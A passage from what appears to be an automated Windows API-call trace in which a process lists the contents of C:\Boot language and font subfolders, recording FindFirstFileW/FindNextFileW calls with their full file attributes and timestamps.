(in: hFindFile=0x42602c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.953] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0052.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0052.953] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.954] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.954] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0052.954] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0052.954] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.954] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0052.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.954] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0052.954] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260100 [0052.955] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.955] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.955] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.955] FindClose (in: hFindFile=0x4260100 | out: hFindFile=0x4260100) returned 1 [0052.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.955] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0052.955] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260740 [0052.955] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.955] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.955] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.955] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0052.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.955] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0052.955] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260600 [0052.955] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.956] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.956] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.956] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.956] FindClose (in: hFindFile=0x4260600 | out: hFindFile=0x4260600) returned 1 [0052.956] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.956] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0052.956] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0052.957] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0052.958] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, 